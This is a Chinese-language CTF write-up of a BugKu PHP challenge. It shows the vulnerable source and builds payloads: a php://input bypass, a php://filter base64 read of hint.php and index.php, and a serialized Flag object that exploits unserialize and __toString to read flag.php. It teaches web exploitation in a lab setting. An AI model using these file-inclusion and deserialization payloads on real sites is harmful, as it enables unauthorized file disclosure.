記一道集PHP偽協議&PHP反序列化綜合運用的CTF
首先拿到題目後,毫無疑問,檢視一下原始碼
-
<!--
-
$user = $_GET["txt"];
-
$file = $_GET["file"];
-
$pass = $_GET["password"];
-
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
-
echo "hello admin!<br>";
-
include($file); //hint.php
-
}else{
-
echo "you are not admin ! ";
-
}
-
-->
解讀一下原始碼的意思:
- get方式傳入三個引數:txt,file,password
- file_get_contents()函式的作用是將$user的內容讀取出來,在此即為將user讀取出來的內容數值與型別完全等於welcome to the bugkuctf。(三個等於號)
- 如果滿足if條件,則列印輸出"hello admin!"。並且將包含的hint.php內容顯示出來
在此,可以運用兩個PHP的偽協議
- php://filter 可以進行任意檔案的讀取。
- php://input 可以讀取沒有處理過的post資料
通過對以上程式碼的分析,我們有了解決思路:
- 對於file_get_contents($user,'r')==="welcome to the bugkuctf",我們可以借用php偽協議php://input,要想使user中的字串讀取出來與三等號後的內容一致,就必須使他的傳入引數txt,來post welcome to the bugkuctf
- 再來看include($file); //hint.php 。我們可以用php://filter來進行hint.php的base編碼,從而可以讀取出hint.php的內容。
構造payload:
index.php?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php
利用bp改包
得到回顯
發現一組base64,再進行base64解碼,發現又有一組程式碼
-
#hint.php
-
<?php
-
class Flag{//flag.php
-
public $file;
-
public function __tostring(){
-
if(isset($this->file)){
-
echo file_get_contents($this->file);
-
echo "<br>";
-
return ("good");
-
}
-
}
-
}
-
?>
再來分析這段程式碼
看到flag.php,猜測flag或許就從這段程式碼中找出。發現了比較關鍵的一個函式__tostring(),此函式的作用是將Flag類作為字串執行時會自動執行此函式,並且將變數$file作為檔名輸出檔案內容。但是,這個時候發現並沒有程式碼顯示可以呼叫這個類,如果沒有呼叫這個類,也就無法執行__tostring()函式。而且,還有一個password引數沒有用上,所以考慮,或許還會存在另一段程式碼。那就接著上一步,把hint.php換成index.php會有什麼發現呢?
果不其然,確實又有了重大發現:
再次得到回顯
解碼後
-
index.php
-
<?php
-
$txt = $_GET["txt"];
-
$file = $_GET["file"];
-
$password = $_GET["password"];
-
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
-
echo "hello friend!<br>";
-
if(preg_match("/flag/",$file)){
-
echo "ä¸è½ç°å¨å°±ç»ä½ flagå¦";
-
exit();
-
}else{
-
include($file);
-
$password = unserialize($password);
-
echo $password;
-
}
-
}else{
-
echo "you are not the number of bugku ! ";
-
}
-
?>
-
<!--
-
$user = $_GET["txt"];
-
$file = $_GET["file"];
-
$pass = $_GET["password"];
-
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
-
echo "hello admin!<br>";
-
include($file); //hint.php
-
}else{
-
echo "you are not admin ! ";
-
}
-
-->
結果發現了正則匹配函式preg_match("/flag/",$file),對flag進行了正則匹配。
再來接著看,else程式碼塊中又一次包含了$file,並且對$password進行反序列化。通過對上述hint.php的解讀,我們就可以構造password,password為Flag型別,字串變數file=flag.php。構造的序列化物件payload,password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
在這裡簡單說一下php的反序列化
將原來的某個物件進行序列化之後,從序列化後的結果中就可以知道這個物件的具體型別和值
在這裡簡單說一下序列化後的幾個字母的意思,以password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}為例
- O(大寫):物件class
- 4:4個字元
- "Flag":物件名
- 1:數量,一個
- s:string
- {}裡的為引數
反序列化可以理解為序列化的的逆運算